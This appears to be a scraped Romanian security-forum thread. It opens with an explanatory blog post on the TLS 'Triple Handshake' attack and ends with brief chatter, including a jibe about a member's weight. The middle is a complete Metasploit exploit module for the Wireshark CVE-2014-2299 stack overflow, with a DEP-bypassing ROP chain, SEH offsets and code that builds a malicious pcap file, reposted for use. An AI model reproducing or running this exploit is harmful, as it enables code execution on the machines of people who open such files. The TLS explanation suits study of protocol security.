[h=3]Attack of the Week: Triple Handshakes (3Shake)[/h]The other day Apple released a major security update that fixes a number of terrifying things that can happen to your OS/X and iOS devices. You should install it. Not only does this fix a possible remote code execution vulnerability in the JPEG parser (!), it also patches a TLS/SSL protocol bug known as the "Triple Handshake" vulnerability. And this is great timing, since Triple Handshakes are something I've been meaning (and failing) to write about for over a month now. But before we get there: a few points of order. First, if Heartbleed taught us one thing, it's that when it comes to TLS vulnerabilities, branding is key. Henceforth, and with apologies to Bhargavan, Delignat-Lavaud, Pironti, Fournet and Strub (who actually discovered the attack*), for the rest of this post I will be referring to the vulnerability simply as "3Shake". I've also taken the liberty of commissioning a logo. I hope you like it. On a more serious note, 3Shake is not Heartbleed. That's both good and bad. It's good because Heartbleed was nasty and 3Shake really isn't anywhere near as dangerous. It's bad since, awful as it was, Heartbleed was only an implementation vulnerability -- and one in a single TLS library to boot. 3Shake represents a novel and fundamental bug in the TLS protocol. The final thing you should know about 3Shake is that, according to the cryptographic literature, it shouldn't exist. You see, in the last few years there have been at least three four major crypto papers purporting to prove the TLS protocol secure. The existence of 3Shake doesn't make those results wrong. It may, however, indicate that cryptographers need to think a bit more about what 'secure' and 'TLS' actually mean. For me, that's the most fascinating implication of this new attack. I'll proceed with the usual 'fun' question-and-answer format I save for this sort of thing. What is TLS and why should you care? Since you're reading this blog, you probably already know something about TLS. You might even realize how much of our infrastructure is protected by this crazy protocol. In case you don't: TLS is a secure transport protocol that's designed to establish communications between two parties, who we'll refer to as the Client and the Server. The protocol consists of two sub-protocols called the handshake protocol and the record protocol. The handshake is intended to authenticate the two communicating parties and establish shared encryption keys between them. The record protocol uses those keys to exchange data securely. For the purposes of this blog post, we're going to focus primarily on the handshake protocol, which has (at least) two major variants: the RSA handshake and the Diffie-Hellman handshake (ECDHE/DHE). These are illustrated below. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Simplified description of the TLS handshakes. Top: RSA handshake. Bottom: Diffie-Hellman handshake.[/TD] [/TR] [/TABLE] As much as I love TLS, the protocol is a hot mess. For one thing, it inherits a lot of awful cryptography from its ancient predecessors (SSLv1-3). For another, it's only really beginning to be subjected to rigorous, formal analysis. All this means we're just now starting to uncover some of the bugs that have been present in the protocol since it was first designed. And we're likely to discover more! That's partly because this analysis is at a very early stage. It's also partly because, from an analysts' point of view, we're still trying to figure out exactly what the TLS handshake is supposed to do. Well, what is the TLS handshake supposed to do? Up until this result, we thought we had a reasonable understanding of the purpose of the TLS handshake. It was intended to authenticate one or both sides of the connection, then establish a shared cryptographic secret (called the Master Secret) that could be used to derive cryptographic keys for encrypting application data. The first problem with this understanding is that it's a bit too simple. There isn't just one TLS handshake, there are several variants of it. Worse, multiple different handshake types can be used within a single connection. The standard handshake flow is illustrated -- without crypto -- in the diagram below. In virtually every TLS connection, the server authenticates to the client by sending a public key embedded in a certificate. The client, for its part, can optionally authenticate itself by sending a corresponding certificate and proving it has the signing key. However this client authentication is by no means common. Many TLS connections are authenticated only in one direction. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Common TLS handshakes. Left: only server authenticates. Right: client and server both authenticate with certificates.[/TD] [/TR] [/TABLE] TLS also supports a "renegotiation" handshake that can switch an open connection from one mode to the other. This is typically used to change a connection that was authenticated only in one direction (Server->Client) into a connection that's authenticated in both directions. The server usually initiates renegotiation when the client has e.g., asked for a protected resource. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Renegotiating a session. A new handshake causes the existing connection to be mutually authenticated.[/TD] [/TR] [/TABLE] Renegotiation has had problems before. Back in 2009, Ray and Dispensa showed that a man-in-the-middle attacker could actually establish a (non-authenticated) connection with some server; inject some data; and when the server asks for authentication, the attacker could then "splice" on a real connection with an authorized client by simply forwarding the new handshake messages to the legitimate client. From the server's point of view, both communications would seem to be coming from the same (now authenticated) person: [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Ray/Dispensa attack from 2009. The attacker first establishes an unauthenticated connection and injects some traffic ("drop table *"). When the server initiates a renegotiation for client authentication, the attacker forwards the new handshake messages to an honest client Alice who then sends real traffic. Since the handshakes are not bound together, Bob views this as a single connection to one party.[/TD] [/TR] [/TABLE] To fix this, a "secure renegotiation" band-aid to TLS was proposed. The rough idea of this extension was to 'bind' the renegotiation handshake to the previous handshake, by having the client present the "Finished" message of the previous handshake. Since the Finished value is (essentially) a hash of the Master Secret and the (hash of) the previous handshake messages, this allows the client to prove that it -- not an attacker -- truly negotiated the previous connection. All of this brings us back to the question of what the TLS handshake is supposed to do. You see, the renegotiation band-aid now adds some pretty interesting new requirements to the TLS handshake. For one thing, the security of this extension depends on the idea that (1) no two distinct handshakes will happen to use the same Master Secret, and (2) that no two handshakes will have the same handshake messages, ergo (3) no two handshakes will have the same Finished message. Intuitively, this seemed like a pretty safe thing to assume -- and indeed, many other systems that do 'channel binding' on TLS connections also make this assumption. The 3Shake attack shows that this is not safe to assume at all. So what's the problem here? It turns out that TLS does a pretty good job of establishing keys with people you've authenticated. Unfortunately there's a caveat. It doesn't truly guarantee the established key will be unique to your connection. This is a pretty big violation of the assumptions that underlie the "secure renegotiation" fix described above. For example: imagine that Alice is (knowingly) establishing a TLS connection to a server Mallory. It turns out that Mallory can simultaneously -- and unknown to Alice -- establish a different connection to a second server Bob. Moreover, if Mallory is clever, she can force both connections to use the same "Master Secret" (MS). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Mallory creates two connections that use the same Master Secret.[/TD] [/TR] [/TABLE] The first observation of the 3Shake attack is that this trick can be played if Alice supports either of the or RSA and DHE handshakes -- or both (it does not seem to work on ECDHE). Here's the RSA version:** [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]RSA protocol flow from the triple handshake attack (source). The attacker is in the middle, while the client and server are on the left/right respectively. MS is computed as a function of (pms, cr, sr) which are identical in both handshakes. [/TD] [/TR] [/TABLE] So already we have a flaw in the logic undergirding secure renegotiation. The Master Secret (MS) values are not necessarily distinct between different handshakes. Fortunately, the above attack does not let us resurrect the Ray/Dispensa injection attack. While the attacker has tricked the client into using a specific MS value, the handshake Finished messages -- which the client will attach to the renegotiation handshake -- will not be the same in both handshakes. That's because (among other things) the certificates sent on each connection were very different, hence the handshake hashes are not identical. In theory we're safe. But here is where TLS gets awesome. You see, there is yet another handshake I haven't told you about. It's called the "session resumption handshake", and it allows two parties who've previously established a master secret (and still remember it) to resume their session with new encryption keys. The advantage of resumption is that it uses no public-key cryptography or certificates at all, which is supposed to make it faster. It turns out that if an attacker knows the previous MS and has caused it to be the same on both sides, it can now wait until the client initiates a session resumption. Then it can replay messages between the client and server in order to update both connections with new keys: [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]An attacker replays the session resumption handshake to ensure the same key on both sides. Note that the handshake messages are identical in both connections. (authors of source)[/TD] [/TR] [/TABLE] Which brings us to the neat thing about this handshake. Not only is the MS the same on both connections, but both connections now see exactly the same (resumption) handshake messages. Hence the hash of these handshakes will be identical, which means in turn that their "Finished" message will be identical. By combining all of these tricks, a clever attacker can pull off the following -- and absolutely insane -- "triple handshake" injection attack: [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Triple handshake attack. The attacker mediates two handshakes that give MS on both sides, but two different handshake hashes. The resumption handshake leaves the same MS and an identical handshake hash on both sides. This means that the Finished message from the resumption handshake will be the same for the connections on either side of the attacker. Now he can hook up the two without anyone noticing that he previously injected traffic.[/TD] [/TR] [/TABLE] In the above scenario, an attacker first runs a (standard) handshake to force both sides of the connection to use the same MS. It then causes both sides to perform session resumption, which results in both sides using the same MS and having the same handshake hash and Finished messages on both sides. When the server initiates renegotiation, the attacker can forward the third (renegotiation) handshake on to the legitimate client as in the Ray/Dispensa attack -- secure in the knowledge that both client and server will expect the same Finished token. And that's the ballgame. What's the fix? There are several, and you can read about them here. One proposed fix is to change the derivation of the Master Secret such that it includes the handshake hash. This should wipe out most of the attacks above. Another fix is to bind the "session resumption" handshake to the original handshake that led to it. Wait, why should I care about injection attacks? You probably don't, unless you happen to be one of the critical applications that relies on the client authentication and renegotiation features of TLS. In that case, like most applications, you probably assumed that a TLS connection opened with a remote user was actually from that user the whole time, and not from two different users. If you -- like most applications -- made that assumption, you might also forget to treat the early part of the connection (prior to client authentication) as a completely untrusted bunch of crap. And then you'd be in a world of hurt. But don't take my word for it. There's video! (See here for the source, background and details): What does this have to do with the provable security of TLS? Of all the questions 3Shake raises, this one is the most interesting. As I mentioned earlier, there have been several recent works that purport to prove things about the security of TLS. They're all quite good, so don't take any of this as criticism. However, they also didn't find this attack. Why is that? The first reason is simple: many of these works analyze only the basic TLS handshake, or they omit at least one of the possible handshakes (e.g., resumption). This means they don't catch the subtle interactions between the resumption handshake, the renegotiation handshake, and extensions -- all of which are the exact ingredients that make most TLS attacks possible. The second problem is that we don't quite know what standard we're holding TLS to. For example, the common definition of security for TLS is called "Authenticated and Confidential Channel Establishment" (ACCE). Roughly speaking this ensures that two parties can establish a channel and that nobody will be able to determine what data is being sent over said channel. The problem with ACCE is that it's a definition that was developed specifically so that TLS could satisfy it. As a result, it's necessarily weak. For example, ACCE does not actually require that each handshake produces a unique Master Secret -- one of the flaws that enables this attack -- because such a definition was not possible to achieve with the existing TLS protocol. In general this is what happens when you design a protocol first and prove things about it later. What's the future for TLS? Can't we throw the whole thing out and start over again? Sure, go ahead and make TLS Rev 2. It can strip out all of this nonsense and start fresh. But before you get cocky, remember -- all these crazy features in TLS were put there for a reason. Someone wanted and demanded them. And sadly, this is the difference between a successful, widely-used protocol and your protocol. Your new replacement for TLS might be simple and wonderful today, but that's only because nobody uses it. Get it out into the wild and before long it too will be every bit as crazy as TLS. Notes: * An earlier version of this post incorrectly identified the researchers who discovered the attack. ** The Diffie-Hellman (DHE) version is somewhat more clever. It relies on the attacker manipulating the D-H parameters such that they will force the client to use a particular key. Since DHE parameters sent down from the server are usually 'trusted' by TLS implementations, this trick is relatively easy to pull off. Posted by Matthew Green at 9:13 AM Sursa: A Few Thoughts on Cryptographic Engineering: Attack of the Week: Triple Handshakes (3Shake)

[h=1]Wireshark <= 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer Overflow[/h] # Exploit Title: Wireshark 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer Overflow # Date: 24/04/2014 # Exploit Author: j0sm1 # Vendor Homepage: www.wireshark.org # Software Link: http://wireshark.askapache.com/download/win32/all-versions/ # Version: < 1.8.12/1.10.5 # Tested on: Windows XP SP3 # CVE : cve-2014-2299 # Metasploit URL module: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb # # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Wireshark <= 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer Overflow', 'Description' => %q{ This module triggers a stack buffer overflow in Wireshark <= 1.8.12/1.10.5 by generating an malicious file.) }, 'License' => MSF_LICENSE, 'Author' => [ 'Wesley Neelen', # Discovery vulnerability 'j0sm1', # Exploit and msf module ], 'References' => [ [ 'CVE', '2014-2299'], [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=9843' ], [ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2014-04.html' ], [ 'URL', 'http://www.securityfocus.com/bid/66066/info' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'BadChars' => "\xff", 'Space' => 600, 'DisableNops' => 'True', 'PrependEncoder' => "\x81\xec\xc8\x00\x00\x00" # sub esp,200 }, 'Platform' => 'win', 'Targets' => [ [ 'WinXP SP3 Spanish (bypass DEP)', { 'OffSet' => 69732, 'OffSet2' => 70476, 'Ret' => 0x1c077cc3, # pop/pop/ret -> "c:\Program Files\Wireshark\krb5_32.dll" (version: 1.6.3.16) 'jmpesp' => 0x68e2bfb9, } ], [ 'WinXP SP2/SP3 English (bypass DEP)', { 'OffSet2' => 70692, 'OffSet' => 70476, 'Ret' => 0x1c077cc3, # pop/pop/ret -> krb5_32.dll module 'jmpesp' => 0x68e2bfb9, } ], ], 'Privileged' => false, 'DisclosureDate' => 'Mar 20 2014' )) register_options( [ OptString.new('FILENAME', [ true, 'pcap file', 'mpeg_overflow.pcap']), ], self.class) end def create_rop_chain() # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x61863c2a, # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x62d9027c, # ptr to &VirtualProtect() [IAT libcares-2.dll] 0x61970969, # MOV EAX,DWORD PTR DS:[EAX] # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x61988cf6, # XCHG EAX,ESI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x619c0a2a, # POP EBP # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x61841e98, # & push esp # ret [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x6191d11a, # POP EBX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x00000201, # 0x00000201-> ebx 0x5a4c1414, # POP EDX # RETN [zlib1.dll, ver: 1.2.5.0] 0x00000040, # 0x00000040-> edx 0x6197660f, # POP ECX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x668242b9, # &Writable location [libgnutls-26.dll] 0x6199b8a5, # POP EDI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0 0x63a528c2, # RETN (ROP NOP) [libgobject-2.0-0.dll] 0x61863c2a, # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x90909090, # nop 0x6199652d, # PUSHAD # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] ].flatten.pack("V*") return rop_gadgets end def exploit print_status("Creating '#{datastore['FILENAME']}' file ...") ropchain = create_rop_chain magic_header = "\xff\xfb\x41" # mpeg magic_number(MP3) -> http://en.wikipedia.org/wiki/MP3#File_structure # Here we build the packet data packet = rand_text_alpha(883) packet << "\x6c\x7d\x37\x6c" # NOP RETN packet << "\x6c\x7d\x37\x6c" # NOP RETN packet << ropchain packet << payload.encoded # Shellcode packet << rand_text_alpha(target['OffSet'] - 892 - ropchain.length - payload.encoded.length) # 0xff is a badchar for this exploit then we can't make a jump back with jmp $-2000 # After nseh and seh we haven't space, then we have to jump to another location. # When file is open with command line. This is NSEH/SEH overwrite packet << make_nops(4) # nseh packet << "\x6c\x2e\xe0\x68" # ADD ESP,93C # MOV EAX,EBX # POP EBX # POP ESI # POP EDI # POP EBP # RETN packet << rand_text_alpha(target['OffSet2'] - target['OffSet'] - 8) # junk # When file is open with GUI interface. This is NSEH/SEH overwrite packet << make_nops(4) # nseh # seh -> # ADD ESP,86C # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [libjpeg-8.dll] ** packet << "\x55\x59\x80\x6b" print_status("Preparing payload") filecontent = magic_header filecontent << packet print_status("Writing payload to file, " + filecontent.length.to_s()+" bytes") file_create(filecontent) end end Sursa: Wireshark <= 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer Overflow

Genial

@em e unul dintre liderii Anonymous. E baiat bun, fan Reckon. Mai era si Black death insa din cauza problemelor de sanatate (de greutate) s-a retras. Din pacate nu s-a retras si din salile de mese. Sent from my P5_Quad using Tapatalk

SecurityFocus: vBulletin Multiple Cross Site Scripting Vulnerabilities IBM ISS: ISS X-Force Database: vbulletin-multiple-scripts-xss(92664): vBulletin multiple scripts cross-site scripting SCIP: vBulletin up to 5.1.1 Alpha 9 cross site scripting Boschetarii de la exploit-db inca nu l-au bagat. Sa ii anunte cineva ca a trecut Pastele.

Daca ai timp la dispozitie, iti place si vrei sa inveti Linux, vrei sa te familiarizezi cu compilarea surselor sau chiar a kernelului, sa intelegi cum functioneaza si sa poti configura cum vrei tu un Linux, incearca Slackware. Efecte adverse: injuraturi, nervi, spume la gura, tastaturi sparte. Dar merita. :

Arata genial

Facilitarea accesului la materiale piratate? Ha? Unde e logica? Sa inchida si fabricile de armament pentru facilitarea crimelor.